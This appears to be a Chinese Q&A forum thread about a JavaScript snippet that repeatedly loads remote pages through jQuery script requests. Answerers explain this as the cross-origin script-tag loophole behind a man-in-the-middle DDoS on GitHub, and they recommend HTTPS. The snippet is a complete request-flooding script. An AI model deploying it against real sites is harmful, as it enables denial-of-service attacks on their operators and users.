首页 > JS这样做居然可以跨域请求远程资源,请问原理是什么!?

JS这样做居然可以跨域请求远程资源,请问原理是什么!?

演示地址:http://runjs.cn/code/vmjaz1pj

如果说这样就可以跨域请求资源了,那岂不是想要攻击谁就攻击谁?这样太不安全了。

代码如下:

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");

!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;

function unixtime() {
    var a = new Date;
    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}

url_array = ["https://github.com/aiyuchen/LaravelShoppingcart", "http://.com/q/1010000000339531"];
NUM = url_array.length;

function r_send2() {
    var a = unixtime() % NUM;
    get(url_array[a])
}

function get(a) {
    var b;
    $.ajax({
        url: a,
        dataType: "script",
        timeout: 1E4,
        cache: !0,
        beforeSend: function() {
            requestTime = (new Date).getTime()
        },
        complete: function() {
            responseTime = (new Date).getTime();
            b = Math.floor(responseTime - requestTime);
            3E5 > responseTime - startime && (r_send(b), count += 1)
        }
    })
}

function r_send(a) {
    setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);

和github ddos攻击的方式很像,前提是有一个人劫持了网关进行了中间人攻击(如GFW) 解决方案是使用https的方式对内容进行加密,防止中间人更改你的报文内容


其实不用写那么多代码,原理很简单就是将页面以 script 标签的形式加载进来,例如 <script src="http://.com"></script>。由于 script 标签是没有跨域限制的所以可以加载进来。(废话,JSONP 不就是这个原理么!)但是当 JS引擎 开始解析的时候就会出现各种报错,因为本来就是 text/html 而不是 text/javascript 啊。这样做的话能做的攻击仅限于 DDOS 了吧,不过话说回来 DDOS 为何需要如此蛋疼的去做...=_=! 至于 https 的话由于现代浏览器做了限制,非 https 域下加载的话也是会被拒绝的,当然这和跨域没太大的关系就是了。


想想你是不是很多代码是引用的第三方的CDN的,比如说百度CDN http://openapi.baidu.com/wiki/index.php?title=docs/cplat/libs 又拍云CDN http://jscdn.upai.com/
这样,你的代码中引用的js代码就是跟你的域名不一样的。这在浏览器中是允许的。浏览器会拦截跨域的xmlhttp对象的请求,但是不会拦截这种script标签的请求。

【热门文章】
【热门文章】